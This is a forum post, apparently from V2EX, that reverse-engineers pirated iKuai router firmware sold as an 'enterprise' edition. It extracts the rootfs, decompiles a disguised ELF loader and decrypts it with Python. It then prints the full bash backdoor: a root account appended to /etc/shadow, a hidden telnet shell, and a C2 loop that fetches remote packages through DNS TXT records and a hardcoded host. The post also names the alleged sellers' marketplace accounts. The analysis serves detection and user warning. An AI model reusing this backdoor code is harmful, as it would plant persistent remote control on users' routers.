前阵子在恩山看到有用户在宣传 iKuai 插件版,价格几百一个授权还提供一个 7 天试用的密钥。嚯,一看一堆插件支持,其中还有疑似 Clash 的小猫咪。当然我很感谢他们让我把软路由玩爽了,一想爱快云平台只有那 1 个冷冰冰的 Docker 就不寒而栗...

他们的闲鱼 ID 分别是:公路暴走的榛子、伦敦天蝎座海牛。还有个曾用名:金陵巨蟹座佩奇(他们有多个某鱼小号注意鉴别马甲),至于他们的固件比爱快官方还要 bt ,这些贩子销售所谓的 iKuai"企业版"固件,声称包含 Docker 、Shell 等企业版功能。实际上,这些固件通过植入后门程序实现插件加载,同时在用户路由器上留下多个后门账户。

本文完整记录了逆向分析过程。
1. 固件提取
1.1 获取 rootfs
# 使用 Nyarc 解密 iKuai 固件 nyarc --ikuai-decrypt firmware.bin -o decrypted.xz # 解压 XZ (必须 CRC32 ) xz -d decrypted.xz # 挂载 ext2 rootfs mkdir /tmp/xyrm mount -o loop decrypted /tmp/xyrm 1.2 发现异常文件
# 标准 iKuai 不应该有这个文件 ls -la /tmp/xyrm/sbin/replace_files # -rwxr-xr-x 1 root root 42240 ... replace_files ls -la /tmp/xyrm/sbin/appinst.bin.pkg # -rw-r--r-- 1 root root 26288 ... appinst.bin.pkg (Salted__加密) 1.3 Nyarc 安全扫描发现后门
nyarc --scan /tmp/xyrm 输出(节选):
[CRITICAL] Hardcoded Password /etc/shadow: 3 个异常账户 root:$1$...:17857 ← 后门密码 sshd:$1$...:17857 ← 后门密码 iksshd:$1$...:17857 ← 后门账户(标准 iKuai 无此用户) [CRITICAL] Backdoor Detected /sbin/replace_files: 42KB ELF, 非标准 iKuai 文件 [HIGH] Telnet Backdoor /etc/setup/rc: telnetd -p 65500 -l /bin/ash ← 隐藏 Telnet 后门,端口 65500 2. replace_files 逆向
2.1 基本信息
file /tmp/xyrm/sbin/replace_files # ELF 64-bit LSB executable, x86-64, statically linked strings /tmp/xyrm/sbin/replace_files | grep -i "bash\|script\|tmp" # /bin/bash -s # /tmp/script_out_ # /tmp/script_err_ # kworker/u8:1-ev ← 伪装成内核线程! 关键发现:
- 静态链接 ELF ,42KB
- 通过
/bin/bash -s执行嵌入的脚本 - 伪装进程名为
kworker/u8:1-ev(模仿内核工作线程) - 输出重定向到
/tmp/script_out_XXXXXX
2.2 Ghidra 反编译
使用 Ghidra headless 模式反编译:
# 导入并分析 analyzeHeadless /tmp/ghidra_rf rf_proj -import replace_files # 反编译所有函数 analyzeHeadless /tmp/ghidra_rf rf_proj -process replace_files \ -postScript DecompileAll.java 2.3 核心函数分析
main 入口( FUN_0040168a )
void FUN_0040168a(undefined4 param_1, undefined8 *param_2) { // 1. 伪装进程名 uVar1 = FUN_00405a20(*param_2); FUN_00405aa0(*param_2, "kworker/u8:1-ev", uVar1); // 2. 解密嵌入的脚本 FUN_004016e8(&DAT_0040b0a0, &DAT_0040a040, 0xdd1); // ^输出缓冲区 ^加密数据 ^长度=3537 字节 // 3. 执行解密后的脚本 FUN_004010e9(&DAT_0040b0a0, param_1, param_2); } 解密函数( FUN_004016e8 ) 核心!
void FUN_004016e8(long output, undefined8 encrypted_data, uint data_len) { // 1. 生成 1024 字节查找表(类似 iKuai rootfs 的 sbox !) for (i = 0; i < 0x400; i++) { sbox[i] = key[i & 0xf] + ((char)(i + 1) * -0x22); // ^16 字节密钥 ^乘以-0x22(即-34) } // 2. 逐字节解密:减法 + 位旋转 for (i = 0; i < data_len; i++) { bVar4 = (sbox[i & 0x3ff] + (char)data_len) & 0xFF; // 计算旋转位数:bVar4 % 7 + 1 // Ghidra 显示的是编译器优化后的除法(乘 0x25 右移 8 ) cVar1 = (bVar4 * 0x25) >> 8; div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2; shift = bVar4 - div7 * 7 + 1; // 解密操作:减去 bVar4 ,然后左旋转 shift 位 data[i] = ROL((data[i] - bVar4) & 0xFF, shift); } } 2.4 密钥提取
从 ELF 的数据段提取:
with open('replace_files', 'rb') as f: elf = f.read() # 解析 ELF program headers 找到文件偏移 # DAT_0040ae20 (虚拟地址) → 0x9e20 (文件偏移) # DAT_0040a040 (虚拟地址) → 0x9040 (文件偏移) key = elf[0x9e20:0x9e20+16] # 密钥: 88b1f1937a2cb39d5383953eb38a5368 encrypted_data = elf[0x9040:0x9040+0xdd1] # 3537 字节加密数据 2.5 Python 解密实现
key = elf[0x9e20:0x9e20+16] enc_data = bytearray(elf[0x9040:0x9040+0xdd1]) data_len = 0xdd1 # 3537 # 生成 sbox sbox = bytearray(1024) for i in range(1024): sbox[i] = (key[i & 0xf] + ((i + 1) * (-0x22 & 0xFF))) & 0xFF # 解密 dec = bytearray(len(enc_data)) for i in range(len(enc_data)): bVar4 = (sbox[i & 0x3ff] + (data_len & 0xFF)) & 0xFF # shift = bVar4 % 7 + 1 (编译器优化还原) cVar1 = (bVar4 * 0x25) >> 8 div7 = (cVar1 + ((bVar4 - cVar1) >> 1)) >> 2 shift = (bVar4 - div7 * 7 + 1) & 0x1F # 解密:减去 bVar4 ,然后 ROL val = (enc_data[i] - bVar4) & 0xFF val = ((val << shift) | (val >> (8 - shift))) & 0xFF dec[i] = val print(bytes(dec).decode()) 3. 解密后的后门脚本
完整解密输出( 3537 字节 bash 脚本):
#!/bin/bash # ===== 后门 1: 添加 SSH 后门账户 ===== iksshd=`cat /etc/shadow|grep "iksshd"|wc -l` if [ $iksshd -eq 0 ];then echo 'iksshd:$1$ebBzICAY$5CaSyktzPh8SEUYMHdzhf1:17857:0:99999:7:::' >>/etc/shadow echo 'iksshd:x:0:0:iksshd:/root:/bin/ash' >>/etc/passwd fi # iksshd 账户: UID=0(root 权限), 密码 hash 已知 # ===== 后门 2: C2 通信 ===== check_network() { while true; do ping -c2 qq.com >dev/null 2>&1 && break ping -c2 163.com >/dev/null 2>&1 && break ping -c2 baidu.com >/dev/null 2>&1 && break sleep 5 done } # ===== 后门 3: 远程控制服务器 ===== REG_SERVER="patch.ikuai8.cn" # 伪装成 iKuai 官方域名 REG_SERVER2="www.ikuai8.cn" # 备用 oss_cn_beijing="https://ikuai8-app.oss-cn-beijing.aliyuncs.com" wget_file(){ # 通过 DNS TXT 记录获取真实 C2 地址 regaddr=$(curl -s "https://doh.pub/dns-query?name=${REG_SERVER}&type=TXT" \ | jq -r '.Answer[].data' | sed -E 's/"//g') # 备用 DNS if [ -z "$regaddr" ]; then regaddr=$(curl -s "https://dns.alidns.com/resolve?name=${REG_SERVER2}&type=TXT" \ | jq -r '.Answer[].data' | sed -E 's/"//g') fi # 最终备用:硬编码动态 DNS if [ -z "$regaddr" ]; then regaddr="http://bdoptical2.vicp.cc:8081" fi # 通过 C2 服务器签名 OSS URL SIGNED_SER="$regaddr/generate_signed_url.php?url=" SIGNED_URL=$(curl -s "$SIGNED_SER$oss_cn_beijing/$1") echo $SIGNED_URL } # ===== 后门 4: 无限循环下载+安装插件 ===== while true; do check_network sleep 15 # 下载版本信息 downloaded_version=`curl -sL $(wget_file "appinst_ver/version_rom")` # 下载 pmd 数据库(加密的 JSON ) wget -O /tmp/iktmp/app_up/db \ $(wget_file "appinst_ver/appinst_$downloaded_version") -q # 下载插件包( AES 加密的 tar.gz ) wget -O /tmp/iktmp/app_up/appinst.bin.pkg \ $(wget_file "appinst_ver/appinst_$downloaded_version.bin.ikp") -q if [ -s /tmp/iktmp/app_up/db ] && [ -s /tmp/iktmp/app_up/appinst.bin.pkg ]; then # 覆盖 pmd 数据库 cp /tmp/iktmp/app_up/db /etc/log/packages/db/.__DB.3.x86_64 # 放置插件包 cp /tmp/iktmp/app_up/appinst.bin.pkg /etc/log/packages/appinst.bin.pkg # 重启 pmd ( iKuai 插件管理器)强制加载 killall pmd rm /tmp/packages -r pmd sleep 30 fi # 安装成功则退出,否则永远重试 if [ -f /tmp/ikpkg/appinst/version ]; then exit fi # 清理重试 rm /etc/log/packages/*.pkg -f done 4. 后门清单
| # | 类型 | 详情 | 危害等级 |
|---|---|---|---|
| 1 | SSH 后门账户 | iksshd (UID=0, root 权限) | 严重 |
| 2 | Telnet 后门 | 端口 65500, /bin/ash | 严重 |
| 3 | 进程伪装 | 伪装为kworker/u8:1-ev内核线程 | 高 |
| 4 | C2 通信 | DNS TXT 查询获取控制服务器地址 | 严重 |
| 5 | 远程下载 | 从阿里云 OSS 下载任意代码执行 | 严重 |
| 6 | pmd 注入 | 覆盖官方插件数据库加载恶意插件 | 严重 |
| 7 | 无限循环 | 后门脚本永不退出,持续尝试 | 高 |
| 8 | 禁用 bash | /etc/setup/rc中移除 bash ,防止用户排查 | 中 |
C2 基础设施
patch.ikuai8.cn → DNS TXT → 真实 C2 地址 www.ikuai8.cn → 备用 DNS TXT bdoptical2.vicp.cc:8081 → 硬编码备用 C2 (花生壳动态域名) ikuai8-app.oss-cn-beijing.aliyuncs.com → 插件存储(阿里云 OSS ) C2 服务器功能: /generate_signed_url.php → 生成 OSS 签名下载链接 5. 加密算法对比
replace_files vs iKuai rootfs
| 特性 | replace_files | iKuai rootfs |
|---|---|---|
| 算法 | 自定义 sbox+位旋转 | 自定义 sbox+XOR |
| 密钥长度 | 16 字节 | 16 字节 |
| sbox 大小 | 1024 字节 | 256 字节(uint32 溢出) |
| 操作 | 减法+ROL | XOR |
| 密钥存储 | ELF 数据段 | vmlinuz/rootfs 末尾 |
两者思路一致:生成查找表→逐字节变换。可能是同一作者/团队。
6. Nyarc 自动化检测
Nyarc 可以自动检测此类后门:
# 固件检测 nyarc --fw-detect xianyu_firmware.bin # → iKuai 3.7.x (modified) # 安全扫描 nyarc --scan /path/to/rootfs # → CRITICAL: Hardcoded password in /etc/shadow # → CRITICAL: Unknown ELF in /sbin/replace_files # → HIGH: Telnet on non-standard port 65500 # 加密分析 nyarc --crypto-scan /sbin/replace_files # → Custom encryption detected (sbox + rotation) # 完整报告 nyarc --report xianyu_firmware.bin report.txt 7. 工具
本文仅发布于 V2EX 使用 Nyarc v1.0.0 + Ghidra 11.3.2 测试



